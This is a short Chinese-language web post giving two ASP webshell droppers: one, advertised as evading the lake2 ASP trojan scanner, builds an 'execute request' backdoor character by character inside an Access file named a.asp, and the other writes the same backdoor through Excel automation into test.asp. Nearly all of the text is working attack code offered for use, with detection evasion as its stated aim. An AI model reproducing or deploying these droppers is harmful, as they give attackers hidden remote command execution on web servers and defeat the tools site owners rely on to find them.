一.绕过lake2 asp木马扫描的小马
代码如下:
<%
set c = createobject("adox.catalog")
c.create("provider=microsoft.jet.oledb.4.0;data source="&server.mappath("a.asp"))
set c = nothing
c&server.mappath("a.asp")
set conn=server.createobject("adodb.connection")
conn.open connstr
conn.execute("create table nomm(nomuma oleobject)")
set rs=server.createobject("adodb.recordset")
sql="select * from nomm"
rs.open sql,conn,1,3
rs.addnew
rs ("nomuma").appendchunk(chrb(asc("<"))&chrb(asc("%"))&chrb(asc ("e"))&chrb
(asc("x"))&chrb(asc("e"))&chrb(asc("c"))&chrb(asc ("u"))&chrb(asc("t"))&chrb(asc
("e"))&chrb(asc("+"))&chrb(asc ("r"))&chrb(asc("e"))&chrb(asc("q"))&chrb(asc
("u"))&chrb(asc ("e"))&chrb(asc("s"))&chrb(asc("t"))&chrb(asc("("))&chrb(34)
&chrb(asc("q"))&chrb(34)&chrb(asc(")"))&chrb(asc("%"))& chrb(asc(">")))
rs.update
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
二.xls版asp webshell
代码如下:
<%
set xla = server.createobject("excel.application")
xla.visible = false
xla.workbooks.add
set xlworksheet = xla.worksheets(1)
xlworksheet.cells(1,1).value = "<%ex"&"ec"&"ute(request(""q""))"+chr(37)+">"
'strfile = "d:/test.asp"
strfile = server.mappath("test.asp")
xlworksheet.saveas strfile
xla.quit
set xlworksheet = nothing
set xla = nothing
%>
【说明】：本文章由站长整理发布，文章内容不代表本站观点，如文中有侵权行为，请与本站客服联系(QQ:)！